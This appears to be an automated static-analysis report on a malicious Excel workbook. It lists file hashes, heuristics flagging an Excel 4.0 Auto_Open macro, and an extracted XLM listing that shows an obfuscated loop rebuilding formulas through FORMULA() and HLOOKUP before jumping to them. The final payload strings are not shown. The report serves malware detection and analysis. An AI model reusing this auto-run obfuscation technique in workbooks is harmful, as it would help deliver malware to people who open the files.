Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f043dd2758ccbdd9…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:39 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 5013d76a1238c24d3b387c36047132cf SHA-1: 3cf808b3dfe719357efc19622b7dd4c3eb8d1306 SHA-256: f043dd2758ccbdd9149e342d3f5fa910e64649743028358d25886e27fbf2feb7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6493 bytes
SHA-256: e0de210b45a94f08b427f913fde197341f39f35d8ee0a79d2cf5a4c74c70a6ac
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SLZToj
' 0018     27 LABEL : Cell Value, String Constant - AtZEoboQIfXK len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E188 
' 0018     27 LABEL : Cell Value, String Constant - CEGbRQTwcQvC len=0 
' 0018     22 LABEL : Cell Value, String Constant - CmUYCMG len=0 
' 0018     20 LABEL : Cell Value, String Constant - eUQXL len=0 
' 0018     23 LABEL : Cell Value, String Constant - eVjeykWR len=0 
' 0018     25 LABEL : Cell Value, String Constant - JEpiiPWBvW len=0 
' 0018     20 LABEL : Cell Value, String Constant - kdjcn len=0 
' 0018     27 LABEL : Cell Value, String Constant - KGRoFGMxdZFb len=0 
' 0018     24 LABEL : Cell Value, String Constant - KuaFnTlkI len=0 
' 0018     21 LABEL : Cell Value, String Constant - kZZRNa len=0 
' 0018     27 LABEL : Cell Value, String Constant - McDYrNSPLbKZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - NJNJu len=0 
' 0018     22 LABEL : Cell Value, String Constant - nYoicER len=0 
' 0018     27 LABEL : Cell Value, String Constant - OhOMFjhtZZui len=0 
' 0018     27 LABEL : Cell Value, String Constant - oVzxHaNDxbiR len=0 
' 0018     25 LABEL : Cell Value, String Constant - tgbHvLQBBO len=0 
' 0018     21 LABEL : Cell Value, String Constant - Tqmjfi len=0 
' 0018     27 LABEL : Cell Value, String Constant - WBdASzcAKQEG len=0 
' 0018     20 LABEL : Cell Value, String Constant - xqfmO len=0 
' 0018     26 LABEL : Cell Value, String Constant - zBnbasTyYnp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SLZToj,E98,"SET.NAME("kZZRNa",VALUE("0"))",""
'  SLZToj,E101,"SET.NAME("Tqmjfi",kZZRNa)",""
'  SLZToj,E104,"SET.NAME("McDYrNSPLbKZ",kZZRNa)",""
'  SLZToj,E108,"SET.NAME("AtZEoboQIfXK",COUNTA(nYoicER))",""
'  SLZToj,E113,"SET.NAME("OhOMFjhtZZui",COUNTA(NJNJu))",""
'  SLZToj,E118,[],""
'  SLZToj,E121,"SET.NAME("tgbHvLQBBO","")",""
'  SLZToj,E124,"Tqmjfi",""
'  SLZToj,E128,"SET.NAME("JEpiiPWBvW",HLOOKUP("*",nYoicER,Tqmjfi,FALSE))",""
'  SLZToj,E133,"eUQXL",""
'  SLZToj,E135,"SET.NAME("CEGbRQTwcQvC",kZZRNa)",""
'  SLZToj,E138,[],""
'  SLZToj,E141,"CEGbRQTwcQvC",""
'  SLZToj,E146,"xqfmO",""
'  SLZToj,E148,"zBnbasTyYnp",""
'  SLZToj,E153,"KGRoFGMxdZFb",""
'  SLZToj,E158,"SET.NAME("eVjeykWR",VALUE(HLOOKUP("*",NJNJu,KGRoFGMxdZFb,FALSE)))",""
'  SLZToj,E162,"KuaFnTlkI",""
'  SLZToj,E166,"tgbHvLQBBO",""
'  SLZToj,E168,"McDYrNSPLbKZ",""
'  SLZToj,E170,NEXT(),""
'  SLZToj,E173,"kdjcn",""
'  SLZToj,E178,"SET.NAME("f",INT(T(FORMULA(T(tgbHvLQBBO)&"",""&T(kdjcn)))))",""
'  SLZToj,E180,"oVzxHaNDxbiR",""
'  SLZToj,E183,NEXT(),""
'  SLZToj,E186,RETURN(),""
'  SLZToj,E212,"SET.NAME("WBdASzcAKQEG",E98)",""
'  SLZToj,E215,"nYoicER",""
'  SLZToj,E219,"SET.NAME("NJNJu",R81C15)",""
'  SLZToj,E221,"SET.NAME("oVzxHaNDxbiR",230)",""
'  SLZToj,E224,"SET.NAME("CmUYCMG",5)",""
'  SLZToj,E229,WBdASzcAKQEG(),""
'  SLZToj,E230,HALT(),""

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